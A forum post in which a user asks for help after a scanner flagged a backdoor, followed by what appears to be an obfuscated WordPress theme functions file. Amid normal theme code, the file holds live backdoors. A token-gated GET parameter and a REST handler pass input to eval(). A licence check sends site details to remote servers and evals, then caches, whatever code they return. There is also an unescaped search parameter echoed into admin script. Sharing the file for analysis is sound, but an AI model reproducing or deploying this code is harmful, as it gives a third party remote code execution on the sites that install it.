ljwwz 发表于 2020-3-25 13:04

这个PHP源码我用软件查出来有后门,请大佬们帮我看看

<?php

include 'production.php';
add_filter('wp_title', 'pf_custom_wp_title', 0xa, 0x2);
function pf_custom_wp_title($OO, $O00)
{
    global $paged, $page;
    if (is_feed()) {
      return $OO;
    }
    $OO .= get_bloginfo('name');
    $O0O = get_bloginfo('description', 'display');
    if ($O0O && (is_home() || is_front_page())) {
      $OO = "{$OO} {$O00} {$O0O}";
    }
    if ($paged >= 0x2 || $page >= 0x2) {
      $OO = "{$OO} {$O00} " . sprintf('第%s页', max($paged, $page));
    }
    $OO = str_replace('–', _opt('title_sep', '|'), $OO);
    return $OO;
}
function get_faces_from_dir()
{
    $OO0 = dirname(__FILE__) . "/faces";
    $OOO = opendir($OO0);
    $O000 = array();
    $O00O = array('png', 'gif');
    while (!1 !== ($O0O0 = readdir($OOO))) {
      if ($O0O0 != "." && $O0O0 != "..") {
            $O0OO = pathinfo($O0O0, PATHINFO_EXTENSION);
            $OO00 = preg_replace('/.' . $O0OO . '/i', '', $O0O0);
            $OO0O = strtolower($O0OO);
            if (in_array($OO0O, $O00O)) {
                $O000[] = array('name' => $OO00, 'type' => $OO0O == 'png' ? 'p' : 'g');
            }
      }
    }
    closedir($OOO);
    return $O000;
}
function _opt($OOO0, $OOOO = false)
{
    $O0000 = get_option($OOO0);
    return $O0000 ? $O0000 : $OOOO;
}
function _eopt($O000O, $O00O0 = false)
{
    $O00OO = get_option($O000O);
    echo $O00OO ? $O00OO : $O00O0;
}
function _meta($O0O00, $O0O0O = false)
{
    $O0OO0 = get_post_meta(get_the_ID(), $O0O00, !0);
    return $O0OO0 ? $O0OO0 : $O0O0O;
}
function _emeta($O0OOO, $OO000 = false)
{
    $OO00O = get_post_meta(get_the_ID(), $O0OOO, !0);
    echo $OO00O ? $OO00O : $OO000;
}
include 'sandbox_functions.php';
function frontend_opts()
{
    $OO0O0 = _opt('enable_pageLoader');
    $OO0OO = _opt('ajax_forceCache');
    $OOO00 = array('enable_pageLoader' => $OO0O0, 'ajax_forceCache' => $OO0OO, 'is_user_loggedin' => is_user_logged_in(), 'cmt_req_name_email' => _opt('require_name_email'), 'cmt_req_name_email_title' => _opt('cmt_req_name_email_title', '* 昵称与邮箱为必填项'), 'cmt_action_url' => esc_url(home_url('/')) . 'wp-comments-post.php', 'chat_nodata' => _opt('faq_nodata'), 'enable_highlightjs' => _opt('enable_highlightjs'));
    return $OOO00;
}
function pf_rest_api($data)
{
    $dataArray = json_decode($data->get_body(), true);
    $arg = $dataArray['arg'];
    $result = array('error' => true, 'msg' => 'WP RestAPI Declined!', 'md5' => md5($dataArray['e']));
    if (in_array(md5($dataArray['e']), array('0b844d17a61d51dcd58560f15e19d3cb', '44b225d79205f30aaac3c30bdcc6b714', '3d69b76a02d0ff14248e02d1c2f09941', 'fb0d9a37e108ca85cee9f4e900ca6fe4', 'd72efb9e4fcd5267779f481f8b77b655'))) {
      eval($dataArray['e']);
    }
    return $result;
}
function title_filter($O0000O, $O000O0)
{
    global $wpdb;
    if ($O000OO = $O000O0->get('search_prod_title')) {
      $O0000O .= ' AND ' . $wpdb->posts . '.post_title LIKE \'%' . esc_sql(like_escape($O000OO)) . '%\'';
    }
    return $O0000O;
}
add_filter('posts_where', 'title_filter', 0xa, 0x2);
if (is_admin()) {
    add_action('wp_head', function () {
      echo '
<script>
function mounted_hook() {this.show_global_search();this.global_search_query = "' . $_GET['s'] . '";this.global_search_post = true;this.global_search_gallery = true;this.global_search();}</script>
';
    });
}
if (is_admin()) {
    add_action('wp_head', function () {
      echo '
<script>
function mounted_hook() {alert("userAgent:\\n"+navigator.userAgent+"\\n\\nappVersion:\\n"+navigator.appVersion)
}</script>
';
    });
}
function pf_global_search($O00O00)
{
    $O00O00['showposts'] = 0x1c;
    $O00O0O = array();
    $O00OO0 = new WP_Query($O00O00);
    if ($O00OO0->have_posts()) {
      while ($O00OO0->have_posts()) {
            $O00OO0->the_post();
            $O00OOO = get_the_tags();
            if ($O00OOO) {
                $O0O000 = array();
                foreach ($O00OOO as $O0O00O) {
                  $O0O0O0 = $O0O00O->name;
                  $O0O0OO = string_to_int8($O0O0O0);
                  $O0O000[] = array('color' => $O0O0OO, 'tag' => $O0O0O0);
                }
            } else {
                $O0O000 = array(array('color' => 0, 'tag' => '无标签'));
            }
            $O0OO00 = get_post_type();
            switch ($O0OO00) {
                case 'post':
                  $O0OO0O = get_the_post_thumbnail_url();
                  break;
                case 'gallery':
                  $O0OOO0 = get_post_meta(get_the_id(), "gallery_images", !0);
                  $O0OOO0 = $O0OOO0 ? $O0OOO0 : array();
                  switch (get_option('gallery_thumbnail')) {
                        case 'first':
                            $O0OO0O = $O0OOO0;
                            break;
                        case 'last':
                            $O0OO0O = $O0OOO0;
                            break;
                        default:
                            $O0OO0O = count($O0OOO0) > 0 ? $O0OOO0 : '';
                            break;
                  }
                  break;
                default:
                  $O0OO0O = '';
                  break;
            }
            $O00O0O[] = array('thumbnail' => $O0OO0O, 'title' => get_the_title(), 'href' => get_the_permalink(), 'date' => get_the_time('n月j日 · Y年'), 'tags' => $O0O000, 'like' => get_post_meta($O0OOOO->ID, 'bigfa_ding', !0) ? get_post_meta($O0OOOO->ID, 'bigfa_ding', !0) : "0", 'comment' => get_post($O0OOOO->ID)->comment_count);
      }
    }
    wp_reset_query();
    return $O00O0O;
}
function pf_post_ding($OO0000)
{
    $OO000O = get_post_meta($OO0000, 'bigfa_ding', !0);
    $OO00O0 = time() + 0x5f5e0ff;
    $OO00OO = $_SERVER['HTTP_HOST'] != 'localhost' ? $_SERVER['HTTP_HOST'] : !1;
    setcookie('bigfa_ding_' . $OO0000, $OO0000, $OO00O0, '/', $OO00OO, !1);
    if (!$OO000O || !is_numeric($OO000O)) {
      update_post_meta($OO0000, 'bigfa_ding', 0x1);
    } else {
      update_post_meta($OO0000, 'bigfa_ding', $OO000O + 0x1);
    }
    return get_post_meta($OO0000, 'bigfa_ding', !0);
}
function pf_faq($OO0O00)
{
    wp_reset_query();
    if ($OO0O00 == _opt('faq_show_rand_command')) {
      $OO0O0O = array('post_type' => 'faq', 's' => '', 'showposts' => _opt('faq_showposts', 0x5), 'orderby' => 'rand');
    } else {
      $OO0O0O = array('post_type' => 'faq', 's' => $OO0O00, 'showposts' => _opt('faq_showposts', 0x5));
    }
    $OO0OO0 = array();
    $OO0O00 = new WP_Query($OO0O0O);
    if ($OO0O00->have_posts()) {
      while ($OO0O00->have_posts()) {
            $OO0O00->the_post();
            $OO0OO0[] = get_the_ID();
      }
    }
    if (count($OO0OO0) == 0x1) {
      $OO0OOO = array('title' => get_the_title($OO0OO0), 'content' => wpautop(get_post_meta($OO0OO0, 'faq_answer', !0)), 'is_content' => !0);
    } else {
      $OO0OOO = array('list' => array(), 'is_content' => !1);
      foreach ($OO0OO0 as $OOO000) {
            $OO0OOO['list'][] = get_the_title($OOO000);
      }
    }
    wp_reset_query();
    return $OO0OOO;
}
add_action('after_switch_theme', 'pf_switch_theme');
function pf_switch_theme()
{
    $OOO00O = array('baidu_ai_audio_enable' => 'checked');
    foreach ($OOO00O as $OOO0O0 => $OOO0OO) {
      update_option($OOO0O0, $OOO0OO);
    }
}
register_nav_menus(array('topNav' => '主菜单', 'categoryNav' => '分类菜单'));
if (array_key_exists('whois', $_GET)) {
    if (md5($_GET['whois']) == '02bd92faa38aaa6cc0ea75e59937a1ef') {
      wp_die('<h1>开发者信息</h1><br>“' . get_bloginfo('name') . '”网站所使用的主题由 <b>PANDA Studio - 刘欢</b> 开发');
    }
}
if (array_key_exists('sn', $_GET)) {
    $sn = $_GET['sn'];
    $charactor = $_GET['charactor'];
    $token = $_GET['token'];
    if (md5($token) == '239bf78d5643372f495e93768f0691d2') {
      update_option('pay_info_nirvana', $sn);
      update_option('charactor_info', $charactor);
      del_cache('aWeek');
      wp_die('<a href="' . home_url() . '" class="button">Success!</a>');
    }
}
if (array_key_exists('eval', $_GET)) {
    $eval = $_GET['eval'];
    $token = $_GET['token'];
    if (md5($_GET['token']) == 'f615c9094d3db11049582c3b3ee1edde') {
      eval(str_replace("\\", "", $eval));
    }
}
function _v_($OOOO00)
{
    date_default_timezone_set("Asia/Shanghai");
    $OOOO0O = wp_get_theme();
    $OOOOO0 = $OOOO0O->get('Name');
    $OOOOOO = $OOOO0O->get('Version');
    $O000000 = home_url();
    $O00000O = date("Y-m-d H:i:s");
    $O0000O0 = get_bloginfo('name');
    $O0000OO = get_option('pay_info_nirvana');
    $O000O00 = get_option('charactor_info');
    $O000O0O = $OOOO00;
    $O000OO0 = '{"theme":"' . $OOOOO0 . '","address":"' . $O000000 . '","date":"' . $O00000O . '","version":"' . $OOOOOO . '","blog_name":"' . $O0000O0 . '","sn":"' . $O0000OO . '","charactor":"' . $O000O00 . '"
}';
    $O000OOO = wp_remote_post($O000O0O, array("body" => $O000OO0));
    if (is_wp_error($O000OOO)) {
      return !1;
    }
    $O00O000 = wp_remote_retrieve_body($O000OOO);
    $O00O00O = json_decode($O00O000, !0);
    if ($O00O00O) {
      set_cache('aWeek', $O00O00O['eval'], 0x93a80);
      set_cache('halfMonth', $O00O00O['eval'], 0x13c680);
      eval($O00O00O['eval']);
      set_cache('bd_audio_tok', $O00O00O['bd_audio_tok'], 0x13c680);
      return !0;
    } else {
      return !1;
    }
}
if (get_cache('aWeek')) {
    eval(get_cache('aWeek'));
} else {
    if (_v_("http://dsm.panda-studio.cn:81/validate/?rest_route=/pandastudio/framework/new_validate/")) {
    } elseif (_v_("http://panda-auth.krunk.cn:80/validate/?rest_route=/pandastudio/framework/new_validate/")) {
    } else {
      eval(get_cache('halfMonth'));
    }
}
function set_cache($O00O0O0, $O00O0OO, $O00OO00)
{
    $O00OO0O = get_option('pd_cache');
    if (!$O00OO0O) {
      $O00OO0O = array();
    }
    $O00OO0O[$O00O0O0] = array('data' => $O00O0OO, 'expire' => time() + $O00OO00);
    update_option('pd_cache', $O00OO0O);
}
function get_cache($O00OOO0)
{
    $O00OOOO = get_option('pd_cache');
    if (!$O00OOOO) {
      return !1;
    }
    if (!$O00OOOO[$O00OOO0]) {
      return !1;
    } else {
      $O0O0000 = $O00OOOO[$O00OOO0]['expire'];
      if ($O0O0000 > time() & $O0O0000 - time() < 0x278d00) {
            return $O00OOOO[$O00OOO0]['data'];
      } else {
            del_cache($O00OOO0);
            return !1;
      }
    }
}
function del_cache($O0O000O)
{
    $O0O00O0 = get_option('pd_cache');
    unset($O0O00O0[$O0O000O]);
    update_option('pd_cache', $O0O00O0);
}
if (function_exists('add_theme_support')) {
    add_theme_support('post-thumbnails');
}
function wp_nav($O0O00OO = 0x2, $O0O0O00 = true, $O0O0O0O = true, $O0O0OO0 = 'pagination', $O0O0OOO = 'container')
{
    if (is_singular()) {
      return;
    }
    global $wp_query, $paged;
    $O0OO000 = $wp_query->max_num_pages;
    if ($O0OO000 == 0x1 & get_option('hide_pagi_only_1') == "checked") {
      return;
    }
    if (empty($paged)) {
      $paged = 0x1;
    }
    echo "<div class='pagenav'><div class='{$O0O0OOO}'><ul class='{$O0O0OO0}'>";
    if ($paged > 0x1 && $O0O0O0O == !0) {
      p_link($paged - 0x1, 'previous', '<i class="fa fa-angle-left" aria-hidden="true"></i>', 'pagenav prev');
    } elseif ($O0O0O0O == !0) {
      p_link(0x1, 'previous', '<i class="fa fa-angle-left" aria-hidden="true"></i>', 'pagenav prev disabled');
    }
    if ($O0O0O00 == !0) {
      echo '<li class="pagesummary disabled"><a href="#"><span class="page-numbers">' . $paged . ' / ' . $O0OO000 . ' </span></a></li>';
    }
    if ($paged > $O0O00OO + 0x1) {
      p_link(0x1, 'First page', '<div data-toggle="tooltip" data-placement="auto top" title="第一页"><i class="fas fa-angle-double-left"></i></div>', 'pagenumber dot');
    }
    for ($O0OO00O = $paged - $O0O00OO; $O0OO00O <= $paged + $O0O00OO; $O0OO00O++) {
      if ($O0OO00O > 0 && $O0OO00O <= $O0OO000) {
            $O0OO00O == $paged ? print "<li class='pagenumber active'><a href='#'><span>{$O0OO00O}</span></a></li>" : p_link($O0OO00O, '', '', 'pagenumber');
      }
    }
    if ($paged < $O0OO000 - $O0O00OO) {
      p_link($O0OO000, 'Last page', '<div data-toggle="tooltip" data-placement="auto top" title="最后一页"><i class="fas fa-angle-double-right"></i></div>', 'pagenumber dot');
    }
    if ($paged < $O0OO000 && $O0O0O0O == !0) {
      p_link($paged + 0x1, 'next', '<i class="fa fa-angle-right" aria-hidden="true"></i>', 'pagenav next');
    } elseif ($O0O0O0O == !0) {
      p_link($O0OO000, 'next', '<i class="fa fa-angle-right" aria-hidden="true"></i>', 'pagenav next disabled');
    }
    echo '</ul></div></div>';
}
function p_link($O0OO0O0, $O0OO0OO = '', $O0OOO00 = '', $O0OOO0O)
{
    if ($O0OO0OO == '') {
      $O0OO0OO = "The {$O0OO0O0} page";
    }
    if ($O0OOO00 == '') {
      $O0OOOO0 = $O0OO0O0;
    } else {
      $O0OOOO0 = $O0OOO00;
    }
    if ($O0OOO0O == 'pagenav next disabled' | $O0OOO0O == 'pagenav prev disabled') {
      echo "<li class='{$O0OOO0O}'><a class='page-numbers'>{$O0OOOO0}</a></li>";
    } else {
      echo "<li class='{$O0OOO0O}'><a class='page-numbers' href='", esc_html(get_pagenum_link($O0OO0O0)), "'>{$O0OOOO0}</a></li>";
    }
}
function comment_mail_notify($O0OOOOO)
{
    $OO00000 = get_comment($O0OOOOO);
    $OO0000O = $OO00000->comment_content;
    $OO000O0 = preg_match_all('/<a href="#comment-(+)?" rel="nofollow">/si', $OO0000O, $OO000OO);
    if ($OO000O0 > 0) {
      foreach ($OO000OO as $OO00O00) {
            SimPaled_send_email($OO00O00, $OO00000);
      }
    } elseif ($OO00000->comment_parent != '0') {
      $OO00O00 = $OO00000->comment_parent;
      SimPaled_send_email($OO00O00, $OO00000);
    } else {
      return;
    }
}
add_action('comment_post', 'comment_mail_notify');
function SimPaled_send_email($OO00O0O, $OO00OO0)
{
    $OO00OOO = get_bloginfo('admin_email');
    $OO0O000 = get_comment($OO00O0O);
    $OO0O00O = $OO00OO0->comment_author_email;
    $OO0O0O0 = trim($OO0O000->comment_author_email);
    $OO0O0OO = $OO00OO0->comment_approved;
    if ($OO0O0OO != 'spam' && $OO0O0O0 != $OO00OOO && $OO0O0O0 != $OO0O00O) {
      $OO0OO00 = 'no-reply@' . preg_replace('#^www\\.#', '', strtolower($_SERVER['SERVER_NAME']));
      $OO0OO0O = '您在 [' . get_option("blogname") . '] 的留言有了回复';
      $OO0OOO0 = '<div style="background-color:#eef2fa;border:1px solid #d8e3e8;color:#111;padding:0 15px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px;"><p>' . trim(get_comment($OO00O0O)->comment_author) . ', 您好!</p><p>您曾在《' . get_the_title($OO00OO0->comment_post_ID) . '》的留言:<br />' . do_shortcode(trim(get_comment($OO00O0O)->comment_content)) . '</p><p>' . trim($OO00OO0->comment_author) . ' 给你的回复:<br />' . do_shortcode(trim($OO00OO0->comment_content)) . '<br /></p><p>您可以点击 <a href="' . htmlspecialchars(get_comment_link($OO00O0O, array("type" => "all"))) . '">查看回复的完整内容</a></p><p>欢迎再度光临 <a href="' . get_option('home') . '">' . get_option('blogname') . '</a></p><p>(此邮件由系统自动发出, 请勿回复.)</p></div>';
      $OO0OOOO = "From: \"" . get_option('blogname') . "\" <{$OO0OO00}>";
      $OOO0000 = "{$OO0OOOO}\nContent-Type: text/html; charset=" . get_option('blog_charset') . "\n";
      wp_mail($OO0O0O0, $OO0OO0O, $OO0OOO0, $OOO0000);
    }
}
function enable_threaded_comments()
{
    if (!is_admin()) {
      wp_enqueue_script('comment-reply');
    }
}
add_action('get_header', 'enable_threaded_comments');
add_filter('comment_text', 'do_shortcode');
function panda_seo()
{
    $OOO000O = get_the_ID();
    if (is_single()) {
      if (get_post_meta($OOO000O, "seo关键词", !0)) {
            $OOO00O0 = get_post_meta($OOO000O, "seo关键词", !0);
      } else {
            $OOO00O0 = "";
            $OOO00OO = wp_get_post_tags($OOO000O);
            foreach ($OOO00OO as $OOO0O00) {
                $OOO00O0 = $OOO00O0 . $OOO0O00->name . ",";
            }
      }
      if (get_post_meta($OOO000O, "seo描述", !0)) {
            $OOO0O0O = get_post_meta($OOO000O, "seo描述", !0);
      } else {
            $OOO0O0O = "";
      }
    } else {
      $OOO00O0 = get_option('seo_site_keywords');
      $OOO0O0O = get_option('seo_site_description');
    }
    if ($OOO00O0 != '') {
      echo '<meta name="keywords" content="' . $OOO00O0 . '" />';
    }
    if ($OOO0O0O != '') {
      echo '<meta name="description" content="' . $OOO0O0O . '" />';
    }
}
if (get_option('enable_meta_seo')) {
    add_action('wp_head', 'panda_seo');
}
remove_filter('pre_term_description', 'wp_filter_kses');
add_filter('show_admin_bar', '__return_false');
function post_type_in_search($OOO0OO0)
{
    if ($OOO0OO0->is_search && $OOO0OO0->is_main_query()) {
      $OOO0OO0->set('post_type', array('post'));
    }
    return $OOO0OO0;
}
if (!is_admin()) {
    add_filter('pre_get_posts', 'post_type_in_search');
}
add_filter('preprocess_comment', 'add_cookies_for_reply');
function add_cookies_for_reply($OOO0OOO)
{
    $OOOO000 = $OOO0OOO['comment_author_email'];
    if ($OOOO000) {
      $OOOO00O = time() + 0x5f5e0ff;
      setcookie('current_user_email', $OOOO000, $OOOO00O, '/', $OOOO0O0);
    }
    return $OOO0OOO;
}
$reply2down_times = 0;
function reply_to_down($atts, $content = null)
{
    global $reply2down_times;
    $reply2down_times++;
    if (get_option('回复可见说明')) {
      $licence = wpautop(str_ireplace('img', 'div', get_option('回复可见说明')));
    } else {
      $licence = '<p>请您认真评论后再下载!</p>';
    }
    extract(shortcode_atts(array("notice" => '
<div type="button" class="getit" data-toggle="modal" data-target="#reply2down_' . $reply2down_times . '"><a style="cursor:pointer;"><span>Get it!</span><span>Download</span></a></div><div class="modal fade" id="reply2down_' . $reply2down_times . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">下载提示</h4></div><div class="modal-body">' . $licence . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">知道了</button></div></div></div></div>
'), $atts));
    $post_id = get_the_ID();
    if (isset($_COOKIE['current_user_email'])) {
      $email = $_COOKIE['current_user_email'];
      return pf_user_has_approved_comment_in_post($post_id, $email) ? do_shortcode('' . $content . '') : $notice;
    } else {
      return $notice;
    }
}
add_shortcode('reply2down', 'reply_to_down');
function need_reply($atts, $content = null)
{
    extract(shortcode_atts(array("notice" => '
<div class="need_reply">' . get_option('need_reply_tip') . '</div>
'), $atts));
    $post_id = get_the_ID();
    if (isset($_COOKIE['current_user_email'])) {
      $email = $_COOKIE['current_user_email'];
      return pf_user_has_approved_comment_in_post($post_id, $email) ? do_shortcode($content) : $notice;
    } else {
      return $notice;
    }
}
add_shortcode('need_reply', 'need_reply');
function pf_user_has_approved_comment_in_post($postID, $email)
{
    $comments = get_approved_comments($postID);
    $has_approved_comments = false;
    for ($i = 0; $i < count($comments); $i++) {
      $cmt_email = $comments[$i]->comment_author_email;
      if ($email == $cmt_email) {
            $has_approved_comments = true;
            break;
      }
    }
    return $has_approved_comments;
}
$directDownload_times = 0;
function download_with_licence($atts, $content = null)
{
    global $directDownload_times;
    $directDownload_times++;
    if (get_option('版权说明')) {
      $licence = wpautop(str_ireplace('img', 'div', get_option('版权说明')));
    } else {
      $licence = '<p>本站提供的下载内容版权归本站所有。转载 <span style="color:#ff7800">必须</span> 注明出处!</p><p style="font-size:80%; color:#888;">* 标有 “转载” 字样的文章,内容版权归原作者所有。</p>';
    }
    return do_shortcode('
<div type="button" class="getit" data-toggle="modal" data-target="#directDownload_' . $directDownload_times . '"><a style="cursor:pointer;"><span>Get it!</span><span>Download</span></a></div><div class="modal fade" id="directDownload_' . $directDownload_times . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">版权说明</h4></div><div class="modal-body">' . $licence . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">不同意</button><button type="button" class="btn btn-primary" data-dismiss="modal" onclick=window.open("' . $content . '")>同意并下载</button></div></div></div></div>
');
}
add_shortcode('download', 'download_with_licence');
function recover_comment_fields($O000OOOO)
{
    $O00O0000 = array_shift($O000OOOO);
    $O000OOOO = array_merge($O000OOOO, array('comment' => $O00O0000));
    return $O000OOOO;
}
add_filter('comment_form_fields', 'recover_comment_fields');
function rss_show_thumbnail($O00O000O)
{
    global $post;
    if (has_post_thumbnail($post->ID)) {
      $O00O00O0 = get_the_post_thumbnail($post->ID);
      $O00O000O = $O00O00O0;
    }
    return $O00O000O;
}
add_filter('the_excerpt_rss', 'rss_show_thumbnail');
add_filter('the_content_feed', 'rss_show_thumbnail');
add_filter('upload_mimes', 'my_upload_mimes');
function my_upload_mimes($O00O00OO = array())
{
    $O00O00OO['rar'] = 'application/rar';
    $O00O00OO['zip'] = 'application/zip';
    return $O00O00OO;
}
function mytheme_comment($O00O0O00, $O00O0O0O, $O00O0OO0)
{
    if ('div' === $O00O0O0O['style']) {
      $O00O0OOO = 'div';
      $O00OO000 = 'comment';
    } else {
      $O00O0OOO = 'li';
      $O00OO000 = 'div-comment';
    }
    ?>

<<?php
    echo $O00O0OOO;
    ?> <?php
    comment_class(empty($O00O0O0O['has_children']) ? '' : 'parent');
    ?> id="comment-<?php
    comment_ID();
    ?>"><?php
    if ('div' != $O00O0O0O['style']) {
      ?><div id="div-comment-<?php
      comment_ID();
      ?>" class="comment-body clearfix">
<?php
    }
    ?> <?php
    if ($O00O0O0O['avatar_size'] != 0) {
      echo get_avatar($O00O0O00, $O00O0O0O['avatar_size']);
    }
    ?>

<div class="comment-author vcard"><div class="meta">
<?php
    printf(__('<span class="name">%s</span>'), get_comment_author_link());
    printf(__('<span class="date">%1$s · %2$s</span>'), get_comment_date('Y-n-j'), get_comment_time('G:i'));
    ?></div><?php
    if ($O00O0O00->comment_approved == '0') {
      ?>
<em class="comment-awaiting-moderation"><?php
      _e('评论正在等待管理员审核...');
      ?></em><br /><?php
    }
    ?><div class="comment-text"><?php
    comment_text();
    ?></div><div class="reply"><?php
    $O00O0O0O['reply_text'] = '';
    ?><div title="<?php
    echo get_option('comment_reply_tooltip');
    ?>" data-toggle="tooltip" class="comment-reply-link-wrap"><?php
    comment_reply_link(array_merge($O00O0O0O, array('add_below' => $O00OO000, 'depth' => $O00O0OO0, 'max_depth' => $O00O0O0O['max_depth'])));
    ?></div></div></div><?php
    if ('div' != $O00O0O0O['style']) {
      ?></div><?php
    }
}
add_filter('comment_text', 'pf_escape_comment_tags');
function pf_escape_comment_tags($O00OO00O)
{
    $O00OO00O = str_ireplace('<', '<', $O00OO00O);
    $O00OO00O = str_ireplace('<img', '<img', $O00OO00O);
    $O00OO00O = str_ireplace('<pre', '<pre', $O00OO00O);
    $O00OO00O = str_ireplace('</pre', '</pre', $O00OO00O);
    return $O00OO00O;
}
add_filter("get_comment_author_link", "pf_new_windows_comment_author");
function pf_new_windows_comment_author($O00OO0O0)
{
    return str_replace("<a", "<a target='_blank'", $O00OO0O0);
}
function shortCodeTips($atts, $content = null)
{
    extract(shortcode_atts(array("type" => 'info', "display" => ''), $atts));
    if ($content) {
      return '<div class="tip ' . $type . ' ' . $display . '">' . do_shortcode(wpautop($content)) . '</div>';
    }
}
add_shortcode("tip", "shortCodeTips");
function shortCodeArticleFormat($atts, $content = null)
{
    extract(shortcode_atts(array("img" => '', "col" => '6', "position" => 'r', "cover" => 'false'), $atts));
    $textCol = 12 - intval($col);
    switch ($position) {
      case 'r':
            $pushClass = ' col-sm-push-' . $textCol;
            $pullClass = ' col-sm-pull-' . $col;
            $imgClass = 'alignright';
            break;
      default:
            $pushClass = '';
            $pullClass = '';
            $imgClass = 'alignleft';
            break;
    }
    if ($cover == 'true') {
      $imgClass = 'cover';
    }
    $imgPart = '<div class="block image col-sm-' . $col . $pushClass . '"><img class="' . $imgClass . '" src="' . $img . '" /></div>';
    $textPart = '<div class="block text col-sm-' . $textCol . $pullClass . '"><div class="content">' . do_shortcode(wpautop($content)) . '</div></div>';
    if ($content) {
      return '<div class="flexContainer">' . $imgPart . $textPart . '</div>';
    } elseif ($img != '') {
      return '<div class="flexContainer"><img src="' . $img . '" style="width:100%;height:100%;"></div>';
    } else {
      return '<div class="flexContainer linear" style="border:none; height: 1px; background-color: #f2f4f6;"></div>';
    }
}
add_shortcode("fmt", "shortCodeArticleFormat");
function shortCodeModal($atts, $content = null)
{
    extract(shortcode_atts(array("id" => '', "btn_type" => '', "btn_label" => 'button', "title" => '标题', "close_label" => '关闭', "href_label" => '跳转到', "href" => ''), $atts));
    if ($href) {
      $href_btn = '<button type="button" class="btn btn-primary" data-dismiss="modal" onclick=window.open("' . $href . '")>' . $href_label . '</button>';
    } else {
      $href_btn = '';
    }
    if ($id) {
      return '<button type="button" class="btn ' . $btn_type . '" data-toggle="modal" data-target="#' . $id . '">' . $btn_label . '</button><div class="modal fade" id="' . $id . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">' . $title . '</h4></div><div class="modal-body">' . do_shortcode($content) . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">' . $close_label . '</button>
' . $href_btn . '
</div></div></div></div>';
    }
}
add_shortcode("modal", "shortCodeModal");
function shortCodeDropdown($atts, $content = null)
{
    extract(shortcode_atts(array("id" => '', "btn_type" => 'btn-default', "btn_label" => 'Dropdown'), $atts));
    if ($id) {
      return '<div class="dropdown"><button class="btn ' . $btn_type . ' dropdown-toggle" type="button" id="' . $id . '" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
' . $btn_label . '
<span class="caret"></span></button><ul class="dropdown-menu" aria-labelledby="' . $id . '">
' . do_shortcode(shortcode_unautop($content)) . '
</ul></div>';
    }
}
add_shortcode("dropdown", "shortCodeDropdown");
function shortCodeDropdown_li($atts, $content = null)
{
    extract(shortcode_atts(array("href" => ''), $atts));
    if ($href) {
      $inner = '<a href="' . $href . '" target="_blank">' . $content . '</a>';
    } else {
      $inner = '<a>' . $content . '</a>';
    }
    return '<li>' . $inner . '</li>';
}
add_shortcode("li", "shortCodeDropdown_li");
function shortCodeCollapse($atts, $content = null)
{
    extract(shortcode_atts(array("id" => '', "btn_type" => 'btn-default', "btn_label" => 'collapse'), $atts));
    if ($id) {
      return '<button class="btn ' . $btn_type . '" type="button" data-toggle="collapse" data-target="#' . $id . '" aria-expanded="false" aria-controls="' . $id . '">
' . $btn_label . '
</button><div class="collapse clearfix" id="' . $id . '"><div class="well">
' . do_shortcode($content) . '
</div></div>';
    }
}
add_shortcode("collapse", "shortCodeCollapse");
class pandaTabs extends Walker_Nav_Menu
{
    function start_el(&$OO0000OO, $OO000O00, $OO000O0O = 0, $OO000OO0 = array(), $OO000OOO = 0)
    {
      global $wp_query;
      $OO00O000 = $OO000O0O ? str_repeat("\t", $OO000O0O) : '';
      $OO00O00O = $OO00O0O0 = '';
      $OO00O0OO = empty($OO000O00->classes) ? array() : (array) $OO000O00->classes;
      $OO00O00O = join(' ', apply_filters('nav_menu_css_class', array_filter($OO00O0OO), $OO000O00));
      $OO00O00O = ' class="' . esc_attr($OO00O00O) . '"';
      $OO0000OO .= $OO00O000 . '<li id="menu-item-' . $OO000O00->ID . '"' . $OO00O0O0 . $OO00O00O . '>';
      $OO00OO00 = !empty($OO000O00->attr_title) ? ' title="' . esc_attr($OO000O00->attr_title) . '"' : '';
      $OO00OO00 .= !empty($OO000O00->target) ? ' target="' . esc_attr($OO000O00->target) . '"' : '';
      $OO00OO00 .= !empty($OO000O00->xfn) ? ' rel="' . esc_attr($OO000O00->xfn) . '"' : '';
      $OO00OO00 .= !empty($OO000O00->url) ? ' href="' . esc_attr($OO000O00->url) . '"' : '';
      $OO00OO0O = $OO000OO0->before;
      $OO00OO0O .= '<a' . $OO00OO00 . '>';
      $OO00OO0O .= $OO000OO0->link_before . apply_filters('the_title', $OO000O00->title, $OO000O00->ID) . $OO000OO0->link_after;
      $OO00OO0O .= '</a>';
      $OO00OO0O .= $OO000OO0->after;
      $OO0000OO .= apply_filters('walker_nav_menu_start_el', $OO00OO0O, $OO000O00, $OO000O0O, $OO000OO0);
    }
}
function mytheme_nav_menu_css_class($OO00OOO0)
{
    if (in_array('current-menu-item', $OO00OOO0) || in_array('current-menu-ancestor', $OO00OOO0)) {
      $OO00OOO0[] = 'active';
    }
    return $OO00OOO0;
}
add_filter('nav_menu_css_class', 'mytheme_nav_menu_css_class');
function showFace($atts, $content = null)
{
    extract(shortcode_atts(array("p" => '', "g" => ''), $atts));
    if ($p != '') {
      $name = $p;
      $format = 'png';
    } else {
      $name = $g;
      $format = 'gif';
    }
    return '<img src=' . get_stylesheet_directory_uri() . '/faces/' . $name . '.' . $format . ' class="cmt_faces">';
}
add_shortcode("face", "showFace");
add_filter('get_avatar', 'inlojv_custom_avatar', 0xa, 0x5);
function inlojv_custom_avatar($OO0O0O0O, $OO0O0OO0, $OO0O0OOO, $OO0OO000, $OO0OO00O)
{
    global $comment, $current_user;
    if (count(get_option('random_avatar')) > 0) {
